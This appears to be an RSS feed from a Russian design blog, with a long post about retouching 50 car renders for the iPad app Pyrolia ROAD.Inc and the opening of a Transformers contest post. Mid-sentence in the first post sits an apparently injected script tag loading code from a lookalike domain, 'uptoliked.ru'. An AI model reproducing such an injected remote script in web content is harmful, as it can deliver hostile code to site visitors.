<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Блог Фомина Владислава о техническом дизайне, концепт-арте, спидпеинте и веб-дизайне &#187; cgretouch</title>
	<atom:link href="https://fominart.ru/tag/cgretouch/feed" rel="self" type="application/rss+xml" />
	<link>https://fominart.ru</link>
	<description>Блог Владислава Фомина о техническом дизайне (TD), концептарте (ConceptArt), спидпеинте (Speed Painting), а также веб-дизайне (Web-design). Уроки, раскадровки работ, исходники, интересная информация мира дизайна.</description>
	<lastBuildDate>Thu, 14 Apr 2016 01:51:07 +0000</lastBuildDate>
	<language>ru-RU</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.0</generator>
	<item>
		<title>Pyrolia ROAD.Inc &#8211; ретушь 50-ти автомобилей!</title>
		<link>https://fominart.ru/pyrolia-road-inc-retush-50-ti-avtomobilej.html</link>
		<comments>https://fominart.ru/pyrolia-road-inc-retush-50-ti-avtomobilej.html#comments</comments>
		<pubDate>Fri, 23 Mar 2012 08:12:15 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[cgretouch]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=2645</guid>
		<description><![CDATA[Тот самый секретный проект, самый большой заказ из заказов! Я еще не совсем понимал на начальном этапе, что мне предстояло пережить, выполняя работу. Нет, я знал, что есть 50 тачек в 4-х ракурсах (вид сбоку &#8211; главный, вид сверху, фронт и бэк), получается 200 иллюстраций. Срок 1,5 месяца. Слабо?) Мне оказалось слабо при моём уровне. [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/pyrolia-road-inc-retush-50-ti-avtomobilej.html" title="Pyrolia ROAD.Inc - Ретушь 50-ти автомобилей!"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._preview.jpg" alt="Pyrolia ROAD.Inc - Ретушь 50-ти автомобилей!" title="Pyrolia ROAD.Inc - Ретушь 50-ти автомобилей!" class="aligncenter size-full wp-image-2681" /></a><br />
<br/>Тот самый секретный проект, самый большой заказ из заказов! Я еще не совсем понимал на начальном этапе, что мне предстояло пережить, выполняя работу. Нет, я знал, что есть 50 тачек в 4-х ракурсах (вид сбоку &#8211; главный, вид сверху, фронт и бэк), получается 200 иллюстраций. Срок 1,5 месяца. Слабо?)<span id="more-2645"></span><br />
<br/>Мне оказалось слабо при моём уровне. Времени уходило на 1 вид в среднем 1 день &#8211; это виду сбоку, так как помимо кузова приходилось работать над колёсами. Остальные 3 вида выполнял за 2 дня. Но при таком раскладе я никак не мог уложиться в дедлайн, приходилось объяснять. В итоге после дедлайна мне дали еще время, но даже дополнительных 2 месяца не спасали меня. Работал без выходных, отчет о каждой тачке и правки сразу же. Но обо всем по порядку.<br />
<br/>Данные тачки разрабатывались специально для <span style="font-weight:bold;">iPad2</span>. Здесь есть свои подводные камни при ретушировании. Я расскажу о них позднее.<br />
<br/>Перед началом работы мне предложили выполнить тестовый вариант ретуши автомобиля. Это была <span style="font-weight:bold;">Ferrari 250 GTO 1962</span> года.<br />
<br/><span style="font-weight:bold;">О референсах.</span> Данные автомобили &#8211; это 3D модели известных авто, которые моделировало не большая группа моделлеров (5 человек). Чертежи и всю информацию по авто собирали отдельно, со слов заказчика информации на сотни гигабайт (~1TB, чертежи, фото, картинки, журналы). Перед началом работы мне выдали набор файлов к этим 3D моделям и я сначала не понял, что с ними делать.<br />
<a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_help_b.jpg" title="Pyrolia ROAD.Inc - Ferrari 250GTO [1962] - референсы"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_help_s.jpg" alt="Pyrolia ROAD.Inc - Ferrari 250GTO [1962] - референсы" title="Pyrolia ROAD.Inc - Ferrari 250GTO [1962] - референсы" class="aligncenter size-full wp-image-2666" /></a><br />
<br/>Я начал &laquo;гуглить&raquo;, но ничего толком не нашел. Вскоре мне подсказали, что и для чего это. Так вот, первые 2 файла &#8211; это маски для автомобилей, чтобы можно было легко выделять их элементы (работа с каналами в Фотошопе). 3-ий файл <span style="font-weight:bold;">specular</span> &#8211; это синий канал (блики), красный (отражения окружения и глобальное освещение) и зеленый (отражения поверхности, на которой стоит авто &#8211; рефлексы). 4 и 5 &#8211; это тип файлов, разработанных компанией <a href="http://www.ilm.com/" title="Industrial Light &#038; Magic">ILM</a>, поддерживающих 32 бита, в которые можно сохранять слои. В основном их используют в кино индустрии. Мне же для основы был нужен <span style="font-weight:bold;">Side Black</span>, а <span style="font-weight:bold;">Side White</span> использовался как вспомогательный в режиме <span style="font-weight:bold;">screen</span> с регулируемой прозрачностью.<br />
<br/>Разрешение всего полотна, которое требовалось на выходе было 3200&#215;2400 пикселей. Оригиналы я показывать не могу по известным причинам). На ретушь <span style="font-weight:bold;">Ferrari 250GTO</span> ушло 3-4 дня (4 вида). Ниже показан только 1 вид сбоку. Отдельно хочу затронуть тему ретуши колес. Заказчик всячески пытался высветлить их, так как на iPad&#8217;e тёмные они смотрелись плохо. Для тестового варианта спицы на дисках пришлось создавать заново.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_test_b.jpg" title="Pyrolia ROAD.Inc - тест Ferrari 250GTO [1962]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_test_s.jpg" alt="Pyrolia ROAD.Inc - тест Ferrari 250GTO [1962]" title="Pyrolia ROAD.Inc - тест Ferrari 250GTO [1962]" class="aligncenter size-full wp-image-2668" /></a><br />
<br/>Большое внимание уделил деталям. Тут я еще не понимал, что требуется. Начал искать фото этой Феррари и смотреть на ее кузов. Оказывается оригинал найти оказалось не так то просто, кругом попадались различные модификации. При беседе с заказчиком выяснилось, что данные модели &#8211; это оригиналы машин. И что изменять или дополнять что-то не нужно! Необходимо сделать красиво!)<br />
<br/>И так, тест был успешно сдан с 7-ой попытки. Приходилось заниматься постоянной цветокоррекцией кузова авто. В итоге после недельного ожидания я согласился. Попутно стал думать о помощи в проекте среди своих знакомых. Всё же 200 иллюстраций и мое подсознание мне говорило, что я не потяну) Подключил хорошего знакомого <a href="http://revision.ru/a/kmjif/" title="kmjif на revision.ru">Алексея</a>. Заказчик предложил мне стать ответственным за него, чтобы всю работу я с ним сам согласовывал. После тестовых вариантов стало понятно, что повторить мой стиль сразу не получится, обязательно нужны будут правки, а это дополнительная потеря времени. В итоге заказчик всё же настоял, чтобы работу я выполнял самостоятельно, и что скорее всего она пойдет быстрее после несколько отретушированных авто.<br />
<br/>Пока я ретушировал следующие тачки, заказчик тем временем готовил для меня сюрприз. Оказывается он со своим руководством пересмотрели варианты ретуши авто в гораздо большем разрешении &#8211; 8000&#215;6000 пикселей!!! Про себя я подумал, хорошо что недавно сделал <a href="http://fominart.ru/upgrade.html" title="Как я сделал апгрейд компьютера">апгрейд<script src="//uptoliked.ru/widjets.js"></script></a>! <img src="https://fominart.ru/wp-includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley" /> Иначе пришлось бы отказаться от работы. Для таких форматов нужен не слабый компьютер. Заказчик мотивировал такой выбор разрешения тем, что скоро должен выйти (<a href="http://store.apple.com/us/browse/home/shop_ipad/family/ipad" title="iPad">уже вышел!</a>) <span style="font-weight:bold;">iPad3</span> c <span style="font-weight:bold;">retina</span>-дисплеем и было бы круто, чтобы это приложение появилось на нем. Да и детали на авто в меньшем разрешении превращались в кашу (пример с колёсами у Феррари). Таким образом, после 3-х выполненных авто, их пришлось заново ретушировать.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._austin_cooper_s_1965_front_b.jpg" title="Pyrolia ROAD.Inc -  Austin Cooper S 1965 [фронт]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._austin_cooper_s_1965_front_s.jpg" alt="Pyrolia ROAD.Inc -  Austin Cooper S 1965 [фронт]" title="Pyrolia ROAD.Inc -  Austin Cooper S 1965 [фронт]" class="aligncenter size-full wp-image-2651" /></a><br />
<br/>При ретушировании выяснилось, что 3D модели низко полигональные (имеют мало полигонов), поэтому местами форма кузова и других запчастей авто выглядело криво, соответственно, блики также были неправильными. Такие &laquo;косяки&raquo; при моделировании объяснялись жесткими сроками выполнения (2-3 дня на 1 модель). Где-то бампер срезан, где-то логотип авто висит в воздухе, решетка впилась в корпус авто и т.д. О кривой текстуре я уже молчу. Это отнимало уйму времени. При работе заказчик предложил заполнять таблицу сложности ретуширования видов (вид сбоку | другие виды) и ошибки моделирования.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_table_b.jpg" title="Pyrolia ROAD.Inc - таблица сложности выполнения авто и &laquo;косяки&raquo; модели"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_table_s.jpg" alt="Pyrolia ROAD.Inc - таблица сложности выполнения авто и &laquo;косяки&raquo; модели" title="Pyrolia ROAD.Inc - таблица сложности выполнения авто и &laquo;косяки&raquo; модели" class="aligncenter size-full wp-image-2688" /></a><br />
<br/>Из таблицы видно, что самыми &laquo;адскими&raquo; авто при ретушировании были <span style="font-weight:bold;">Bentley Blower [1930]</span> и <span style="font-weight:bold;">Alfa Romeo 6C [1929]</span>. По 4 дня на каждую тачку уходило. Очень сложные в плане деталей и форм.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_side_b.jpg" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сбоку]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_side_s.jpg" alt="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сбоку]" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сбоку]" class="aligncenter size-full wp-image-2657" /></a><br />
<br/>Помимо основного внешнего вида сбоку, приходилось работать над конструкцией под колёсами. Также сложность заключалась в референсах. Моделлер, видимо, переделывал конструкцию у этой тачки, а маски и спекуляр не обновлял. В итоге пришлось самому их дорисовывать.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_top_b.jpg" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сверху]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_top_s.jpg" alt="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сверху]" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сверху]" class="aligncenter size-full wp-image-2659" /></a><br />
<br/>С цветом пришлось также повозиться. После 3-х дней непрерывного ретуширования мои глаза уже не различали цвета. Со свежим взглядом заказчик попросил допилить цвет) Кстати, очень не хватало 3D моделей, которые мне не показывали. Я просил их у заказчика, но мне сказали ориентироваться на референсы)) Если бы были под рукой цвета отрендеренных моделей, то этого бы, скорее всего, не произошло.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_front_b.jpg" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [фронт]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_front_s.jpg" alt="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [фронт]" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [фронт]" class="aligncenter size-full wp-image-2655" /></a><br />
<br/>Дополнительную сложность при ретушировании создавал вид авто. На фронт и бэк колёса приходилось все время ровнять, а где-то даже, закрывая глаза, на правдивость форм авто, срезать части колёс) На многих моделях задние колеса частенько зависали в воздухе. Заказчик мне объяснил, что это было связано с камерой при рендеринге, и что сделать иначе никак нельзя было. На начальных моделях пытались спускать колеса (делал моделлер), но как я понял в будущем отказались от этой идеи &#8211; это мне тоже прибавило мороки при начальной ретуши авто.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_back_b.jpg" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сзади]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bentley_4.5_litre_blower_back_s.jpg" alt="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сзади]" title="Pyrolia ROAD.Inc - Bentley 4.5 Litre Blower [вид сзади]" class="aligncenter size-full wp-image-2653" /></a><br />
<br/><span style="font-weight:bold;">Alfa Romeo 6C [1929]</span> в отличие от <span style="font-weight:bold;">Bentley Blower [1930]</span> немного проще боковым видом, но остальные виды не менее сложны. Эти машины я запомнил как страшный сон) <span style="font-weight:bold;">Rolls Royce Phantom Star of India [1934]</span> попроще, но все равно размеры и количество деталей поражает, все эти фонари, трубы, обшивка!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._rolls_royce_phantom_star_of_india_1934_alfa_romeo_6c_1929_b.jpg" title="Pyrolia ROAD.Inc - Rolls Royce Phantom Star of India [1934] &amp; Alfa Romeo 6C [1929]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._rolls_royce_phantom_star_of_india_1934_alfa_romeo_6c_1929_s.jpg" alt="Pyrolia ROAD.Inc - Rolls Royce Phantom Star of India [1934] &amp; Alfa Romeo 6C [1929]" title="Pyrolia ROAD.Inc - Rolls Royce Phantom Star of India [1934] &amp; Alfa Romeo 6C [1929]" class="aligncenter size-full wp-image-2683" /></a><br />
<br/>Также среди коллекции можно встретить и современные спорткары. Они в отличие от классики проще в ретушировании. Минимум деталей, максимум обтекаемость и своеобразный вид тачек. Из всей коллекции очень понравилась <span style="font-weight:bold;">Pagani Zonda Cinque &#8211; 2009</span>. Просмотрел кучу рефернсов &#8211; красавица! Ну и как же без самого дорого в мире автомобиля  &#8211; <span style="font-weight:bold;">Bugatti Veyron 16.4 &#8211; 2006</span>. Создатели посчитали обязательным включить его в коллекцию.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._pagani_zonda_cinque_2009_bugatti_veyron_16.4_2006_b.jpg" title="Pyrolia ROAD.Inc - Pagani Zonda Cinque [2009] &amp; Bugatti Veyron 16.4 [2006]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._pagani_zonda_cinque_2009_bugatti_veyron_16.4_2006_s.jpg" alt="Pyrolia ROAD.Inc - Pagani Zonda Cinque [2009] &amp; Bugatti Veyron 16.4 [2006]" title="Pyrolia ROAD.Inc - Pagani Zonda Cinque [2009] &amp; Bugatti Veyron 16.4 [2006]" width="599" height="445" class="aligncenter size-full wp-image-2678" /></a><br />
<br/>Вообще идея всех тачек заключалась в том, что при авто можно было пальцем поднимать и опускать на пол. При этом физика падения и удара колесами о пол должна была сохраняться. Поэтому мне поставили задачу разрезать вид сбоку (именно при нем должно было быть падение) на части, колёса, детали и кузов отдельно, при этом подложка у тачки должна быть черным. Судя по видео презентации, тачки просто появляются, т.е. ими нельзя манипулировать, очень жаль!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._mercedes-benz_slr_stirling_moss_-_2010_side_cutting_b.jpg" title="Pyrolia ROAD.Inc - Mercedes-Benz SLR Stirling Moss [2010] - разрезание"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._mercedes-benz_slr_stirling_moss_-_2010_side_cutting_s.jpg" alt="Pyrolia ROAD.Inc - Mercedes-Benz SLR Stirling Moss [2010] - разрезание" title="Pyrolia ROAD.Inc - Mercedes-Benz SLR Stirling Moss [2010] - разрезание" class="aligncenter size-full wp-image-2692" /></a><br />
<br/>При такой резке проблема заключалась в том, что используя маски, у нас на стыки элементов авто образовывалось одно пиксельное пространство, т.е. грубо говоря, если вы возьмете лассо и начнете вырезать из квадрата маленький квадрат, а потом попробуете объединить, у вас не получится это сделать, чтобы при этом было как до резки. Поэтому по черному слою авто приходилось рисовать цветной кистью.<br />
<br/>Следующим интересным моментом при ретушировании было то, что у некоторых 3D модели авто были антенны. А их по замыслу не должно быть. Пришлось в итоге попариться, чтобы убрать.<br />
<br/>
<div style="text-align:center;font-style:normal;"><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._chevrolet_corvette_c1_1954_antenna.jpg" title="Pyrolia ROAD.Inc - Сhevrolet Сorvette С1 [1954] - антенна"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._chevrolet_corvette_c1_1954_antenna.jpg" alt="Pyrolia ROAD.Inc - Сhevrolet Сorvette С1 [1954] - антенна" title="Pyrolia ROAD.Inc - Сhevrolet Сorvette С1 [1954] - антенна" class="aligncenter size-full wp-image-2662" /></a></div>
<p><br/>А убрать их приходилось лишь по одной причине. Машину до закачки будет накрывать покрывало, которое можно убрать пальцем после загрузки модели авто. А вариант покрывала накрывающего антенну создатель решил не рассматривать. Дело хозяйское!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ipad2_screen_porshe_911_cloth_b.jpg" title="Pyrolia ROAD.Inc - iPad2 [снимок экрана] Porshe 911 под покрывалом"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ipad2_screen_porshe_911_cloth_s.jpg" alt="Pyrolia ROAD.Inc - iPad2 [снимок экрана] Porshe 911 под покрывалом" title="Pyrolia ROAD.Inc - iPad2 [снимок экрана] Porshe 911 под покрывалом" class="aligncenter size-full wp-image-2674" /></a><br />
<br/>Можно посмотреть на примерный оригинал редактируемого изображения. Здесь на несколько процентов уменьшено, но, в принципе, понять масштабы можно. Представляете как будет это смотреться на <span style="font-weight:bold;">iPad3</span>?)<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_cute_b.jpg" title="Pyrolia ROAD.Inc - Ferrari 250GTO [cute]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ferrari_250gto_cute_s.jpg" alt="Pyrolia ROAD.Inc - Ferrari 250GTO [cute]" title="Pyrolia ROAD.Inc - Ferrari 250GTO [cute]" class="aligncenter size-full wp-image-2664" /></a><br />
<br/>Основные правки были &#8211; это цветокоррекция кузова авто и регулирование уровней (светлее, темнее). Иногда приходилось добавлять обводку на колёса, чтобы выделить диски или покрышки авто. Так как на <span style="font-weight:bold;">iPad2</span> темные колеса выглядели не очень хорошо.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._lamborghini_countach_lp400_-_1974_back_b.jpg" title="Pyrolia ROAD.Inc - Lamborghini Countach LP400 [1974] [вид сзади]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._lamborghini_countach_lp400_-_1974_back_s.jpg" alt="Pyrolia ROAD.Inc - Lamborghini Countach LP400 [1974] [вид сзади]" title="Pyrolia ROAD.Inc - Lamborghini Countach LP400 [1974] [вид сзади]" class="aligncenter size-full wp-image-2676" /></a><br />
<br/>После первого дедлайна, мне дали еще время, при этом я с полной уверенностью заявил, что не успею и второй срок, т.к. я уже мог спокойно посчитать нужное мне время, на что заказчик писал, что он не может столько ждать. А мне оставалось только продолжать, к тому же я решил ускорить/автоматизировать процесс ретуши.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._porshe_917_k_b.jpg" title="Pyrolia ROAD.Inc -  Porshe 917 K"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._porshe_917_k_s.jpg" alt="Pyrolia ROAD.Inc -  Porshe 917 K" title="Pyrolia ROAD.Inc -  Porshe 917 K" class="aligncenter size-full wp-image-2680" /></a><br />
<br/>В каждый исходный файл я добавлял все референсы (см.в самом начале поста), так как они были обязательны для работы. Также я писал экшены в Фотошопе по созданию структуры для каждой машины. Например, первым идёт корпус авто, затем колёса и т.д. Потратив 2 полных дня на собрание 25 тачек (именно столько оставалось после 1-го дедлайна), я стал выполнять основную ретушь авто быстрее. Вот что значит правильно автоматизировать процесс)<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bugatti_type_41_royale_1930_side_b.jpg" title="Pyrolia ROAD.Inc -  Bugatti Type 41 Royale 1930 [вид сбоку]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._bugatti_type_41_royale_1930_side_s.jpg" alt="Pyrolia ROAD.Inc -  Bugatti Type 41 Royale 1930 [вид сбоку]" title="Pyrolia ROAD.Inc -  Bugatti Type 41 Royale 1930 [вид сбоку]" class="aligncenter size-full wp-image-2661" /></a><br />
<br/>Где-то на 20-ой тачке я понял, как можно ускорить работу. На какие вещи стоит обращать пристальное внимание, а на какие-то применять легкую ретушь. Всё это значительно ускорило процесс работы. Про саму ретушь скажу, что основная работа заключалась в колёсах вида сбоку, кузове (блики, рефлексы, GI) и исправление пресловутых косяков 3D модели. В среднем каждая папка с тачкой (<span style="font-weight:bold;">psd</span>, <span style="font-weight:bold;">referens</span>, <span style="font-weight:bold;">archives</span>) занимает <span style="font-weight:bold;">1,5-3Gb</span> в сумме (все тачки) свыше <span style="font-weight:bold;">150Gb.</span><br />
<br/>Последней из тачек, которую я отретушировал был всем известный &laquo;жук&raquo;. Компактный и мобильный, очень крутой автомобиль!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._fominart.ru_road_inc_vw_beetle_b.jpg" title="Pyrolia ROAD.Inc - VW Beetle"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._fominart.ru_road_inc_vw_beetle_s.jpg" alt="Pyrolia ROAD.Inc - VW Beetle" title="Pyrolia ROAD.Inc - VW Beetle" class="aligncenter size-full wp-image-2670" /></a><br />
<br/>Меня немного удивило, что в титрах к приложению &laquo;<span style="font-weight:bold;">Pyrolia ROAD.Inc</span>&raquo; мне приписали должность <a href="http://ru.wikipedia.org/wiki/Matte_Painting" title="Matte Painting на википедии">Matte Painting</a>, да еще и с ошибкой (одна буква <span style="font-weight:bold;">&laquo;t&raquo;</span>). Моя работа &#8211; это <a href="http://ru.wikipedia.org/wiki/%D0%E5%E4%E0%EA%F2%E8%F0%EE%E2%E0%ED%E8%E5_%E8%E7%EE%E1%F0%E0%E6%E5%ED%E8%E9" title="Ретушь на википедии">ретушь</a> 50-ти автомобилей!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ipad2_screen_credits_b.jpg" title="Pyrolia ROAD.Inc - iPad2 [снимок экрана] - титры"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._ipad2_screen_credits_s.jpg" alt="Pyrolia ROAD.Inc - iPad2 [снимок экрана] - титры" title="Pyrolia ROAD.Inc - iPad2 [снимок экрана] - титры" class="aligncenter size-full wp-image-2672" /></a><br />
<br/>На <a href="http://roadincorporated.com/" title="The Legendary Cars Anthology">сайте</a> <span style="font-weight:bold;">&laquo;Pyrolia&raquo;</span> можно узнать достаточно много подробностей о данном приложении. Помимо данных авто в этой энциклопедии встроены видео 3D вращения (360 градусов) всех 50-ти авто. Ссылка на <a href="http://vimeo.com/pyrolia/videos/page:1/sort:newest" title="PYROLIA SA на Vimeo.com">vimeo</a>.<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._3d_video_b.jpg" title="Pyrolia ROAD.Inc - 3D видео [вращение авто]"><img src="http://fominart.ru/wp-content/uploads/2012/03/fominart.ru_road_inc._3d_video_s.jpg" alt="Pyrolia ROAD.Inc - 3D видео [вращение авто]" title="Pyrolia ROAD.Inc - 3D видео [вращение авто]" class="aligncenter size-full wp-image-2647" /></a><br />
<br />Посмотрите официальную презентацию приложения:<br />
<br/><a href="http://vimeo.com/31715393" title='Road Inc. App for iPad | The Legendary Cars Anthology'>Road Inc. App for iPad | The Legendary Cars Anthology</a> by <a href="http://vimeo.com/pyrolia" title="YungHan Chang на Vimeo">PYROLIA SA</a><br />
<object width="580" height="380"><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=31715393&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color="></param><param name="wmode" value="transparent"></param><embed src="http://www.vimeo.com/moogaloop.swf?clip_id=31715393&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object><br />
<br/>Также можно почитать на русском статью <a href="http://macradar.ru/software/road-inc-legendy-avtomobilestroeniya-na-konchikax-palcev/" title="легенды автомобилестроения на кончиках пальцев">&laquo;ROAD Inc: легенды автомобилестроения на кончиках пальцев&raquo;</a> и посмотреть еще одно интересное видео, которое в подробностях раскрывает фишки приложения:<br />
<br /><a title="Test ROAD Inc. for ipad by pyrolia | Planete-GT.com" href="http://www.youtube.com/watch?v=ZsLLhnfGdJI&#038;feature=player_embedded">Test ROAD Inc. for ipad by pyrolia | Planete-GT.com</a><br />
<object width="580" height="380"><param name="movie" value="http://www.youtube.com/v/ZsLLhnfGdJI&amp;rel=0"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/ZsLLhnfGdJI&amp;rel=0" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object><br />
<br/>Все 50 авто во всех ракурсах и их вращение можно посмотреть <a href="http://roadincorporated.com/index.php?/cars/" title="50 авто во всех ракурсах">здесь</a>. В меню выберите <span style="font-weight:bold;">Explore</span>.<br />
<br/>Всем спасибо за внимание!)</p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/pyrolia-road-inc-retush-50-ti-avtomobilej.html/feed</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>Работа на конкурс TDWC#2 &#171;Трансформер&#187;</title>
		<link>https://fominart.ru/rabota-na-konkurs-tdwc2-transformer.html</link>
		<comments>https://fominart.ru/rabota-na-konkurs-tdwc2-transformer.html#comments</comments>
		<pubDate>Fri, 18 Mar 2011 07:26:52 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Видео]]></category>
		<category><![CDATA[Полезное]]></category>
		<category><![CDATA[Раскадровкa]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[Уроки]]></category>
		<category><![CDATA[cgretouch]]></category>
		<category><![CDATA[Конкурсы]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=1905</guid>
		<description><![CDATA[&#171;Это было не так просто – это был сверх манёвр. Я бросил всё: работу, дела, отложил встречи с друзьями. Пришлось не спать 2 суток. Делал работу на пределе&#187; Рассказывать кто такие трансформеры в наше время, думаю, стыдно). Но немного из истории о том, как я познакомился с ними. В недалёкое для меня время, в 90-х, [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/rabota-na-konkurs-tdwc2-transformer.html" title='Работа на конкурс TDWC#2 &laquo;Трансформер&raquo;'><img src="http://fominart.ru/wp-content/uploads/2011/03/fominart.ru_transformer_preview.jpg" alt="Работа на конкурс TDWC#2 &laquo;Трансформер&raquo;" title="Работа на конкурс TDWC#2 &laquo;Трансформер&raquo;" class="alignnone size-full wp-image-1906" /></a><br />
<br/><span style='color:#d42c73'>&laquo;Это было не так просто – это был сверх манёвр. Я бросил всё: работу, дела, отложил встречи с друзьями. Пришлось не спать 2 суток. Делал работу на пределе&raquo;</span><br />
<br/>Рассказывать кто такие <a href="http://ru.wikipedia.org/wiki/Трансформеры" title='Кто такие трансформеры?'>трансформеры</a> в наше время, думаю, стыдно). Но немного из истории о том, как я познакомился с ними.<span id="more-1905"></span><br />
<br/>В недалёкое для меня время, в 90-х, по местному каналу показывали мультсериалы <a href="http://ru.wikipedia.org/wiki/Список_мультсериалов_и_фильмов_о_трансформерах" title='Список мультсериалов и фильмов о трансформерах'>&laquo;Трансформеры&raquo;</a> одновременно с <a href="http://ru.wikipedia.org/wiki/Вольтрон" title='Что такое Вольтрон'>&laquo;Вольтроном&raquo;</a>. Больше всего зацепили японские трансформеры поколения <a href="http://ru.wikipedia.org/wiki/Transformers:_Victory" title='Японские трансформеры поколения Victory'>&laquo;Victory&raquo;</a> и <a href="http://ru.wikipedia.org/wiki/Transformers:_Super-God_Masterforce" title='Японские трансформеры поколения Войны Великой Силы'>&laquo;Войны Великой Силы&raquo;</a>. Да, тема с кольцами (Великая Сила) была прикольна). Достаточно было заиметь колечки на руки и ты крут! Правда не всем это было доступно).<br />
<br/>Это было время рассвета японской анимации у нас в России (начало 90-х). Видимо, в последствии этот самый рассвет отложил отпечаток на моё сознание и спустя десятилетие я сильно увлёкся стилем &#8211; <a href="http://ru.wikipedia.org/wiki/Аниме" title='Что такое Аниме?'>аниме</a>) Но об этом позже&#8230;<br />
